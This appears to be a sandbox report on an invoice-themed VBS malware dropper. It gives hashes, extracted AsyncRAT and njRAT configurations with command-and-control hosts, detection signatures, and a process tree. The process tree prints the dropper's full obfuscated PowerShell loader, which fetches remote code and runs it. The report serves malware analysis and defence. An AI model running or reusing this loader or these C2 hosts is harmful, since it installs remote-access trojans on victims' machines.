Overview

overview

10

Static

static

N00FX02Inv...py.vbs

windows7_x64

10

N00FX02Inv...py.vbs

windows10_x64

10

Analysis

  • max time kernel
    147s
  • max time network
    179s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    10-09-2021 16:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    N00FX02Invoicecopy.vbs

  • Size

    5KB

  • MD5

    9e0bd0f4ce191d98589957b4427cf41c

  • SHA1

    00f0cd6cbd74f0be67c4a5ccae6c5bccba40ca28

  • SHA256

    d8254110ac2d8ee1e35d89881116ae44e2542adab4b91cfbba532baa180442d9

  • SHA512

    20863c334593b5e2b476b6e548ced2c9755609be58e433028d2b4bbdb3236266d8cca9afe131ed163b753a5ea79ff581e75a3e205fc20275c513d4f8119221dd

Score
10/10
asyncratnjratdefaulthackedratsuricatatrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://52.188.147.221/Spreading/HS.txt

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

jilldoggyy.duckdns.org:7840

jilldoggyy.duckdns.org:7829

jilldoggyy.duckdns.org:7841

103.147.185.192:7840

103.147.185.192:7829

103.147.185.192:7841
Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • anti_vm

    false

  • bsod

    false

  • delay

    3

  • install

    false

  • install_folder

    %AppData%

  • pastebin_config

    null

aes.plain

Extracted

Family

njrat

Version

v4.0

Botnet

HacKed

C2

20.194.35.6:8023

Mutex

Windows

Attributes
  • reg_key

    Windows

  • splitter

    |-F-|

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

    ratasyncrat
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata
  • suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)

    suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)

    suricata
  • Async RAT payload 3 IoCs
    rat
  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\N00FX02Invoicecopy.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://52XXX188XXX147XXX221/Spreading/HSXXXtxt'.Replace('XXX','.');$SOS='2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===^5===H===^`===H===^7===H===^8===H===^a===H===20===H===3d===H===20===H===27===H===`e===H===^5===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===^5===H===`2===H===^3===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===5^===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===7^===H===2e===H===57===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===27===H===2c===H===27===H===`c===H===^9===H===^5===H===^e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===20===H===3d===H===20===H===27===H===^^===H===^f===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===`1===H===^^===H===53===H===5^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===27===H===2c===H===27===H===57===H===`e===H===^c===H===`f===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===72===H===^9===H===`e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===3d===H===27===H===^9===H===`0===H===^5===H===58===H===28===H===`e===H===`0===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===`0===H===`3===H===`0===H===5^===H===20===H===2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===^2===H===^8===H===^e===H===^a===H===53===H===^^===H===^`===H===^7===H===^8===H===29===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===`5===H===`0===H===57===H===`0===H===2d===H===^f===H===`2===H===`a===H===`0===H===^5===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===^5===H===^`===H===^7===H===^8===H===^a===H===29===H===2e===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===28===H===2^===H===53===H===5a===H===58===H===^^===H===^3===H===^`===H===5`===H===27===H===29===H===3b===H===0a===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===28===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===2d===H===^a===H===`f===H===`9===H===`e===H===20===H===27===H===27===H===29===H===7c===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===3b'.Replace('^','4').Replace('`','6');Invoke-Expression (-join ($SOS -split '===' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:780
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:724

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/724-102-0x00000000054A0000-0x00000000054A1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/724-99-0x0000000076641000-0x0000000076643000-memory.dmp
    Filesize

    8KB

    Download
  • memory/724-97-0x0000000000400000-0x000000000040E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/724-96-0x000000000040836E-mapping.dmp
    Download
  • memory/724-95-0x0000000000400000-0x000000000040E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/780-91-0x000000000040C77E-mapping.dmp
    Download
  • memory/780-101-0x0000000002270000-0x0000000002271000-memory.dmp
    Filesize

    4KB

    Download
  • memory/780-92-0x0000000000400000-0x0000000000412000-memory.dmp
    Filesize

    72KB

    Download
  • memory/780-90-0x0000000000400000-0x0000000000412000-memory.dmp
    Filesize

    72KB

    Download
  • memory/1652-60-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1928-67-0x000000001AAC4000-0x000000001AAC6000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1928-70-0x000000001AA90000-0x000000001AA91000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-86-0x000000001B5A0000-0x000000001B5A1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-87-0x000000001AACA000-0x000000001AAE9000-memory.dmp
    Filesize

    124KB

    Download
  • memory/1928-88-0x000000001CA40000-0x000000001CA41000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-89-0x000000001B5B0000-0x000000001B5B4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1928-73-0x000000001C4D0000-0x000000001C4D1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-85-0x000000001B510000-0x000000001B511000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-69-0x000000001C360000-0x000000001C361000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-68-0x0000000002790000-0x0000000002791000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-66-0x000000001AAC0000-0x000000001AAC2000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1928-65-0x0000000002760000-0x0000000002761000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-64-0x000000001AB40000-0x000000001AB41000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-63-0x0000000002620000-0x0000000002621000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1928-61-0x0000000000000000-mapping.dmp
    Download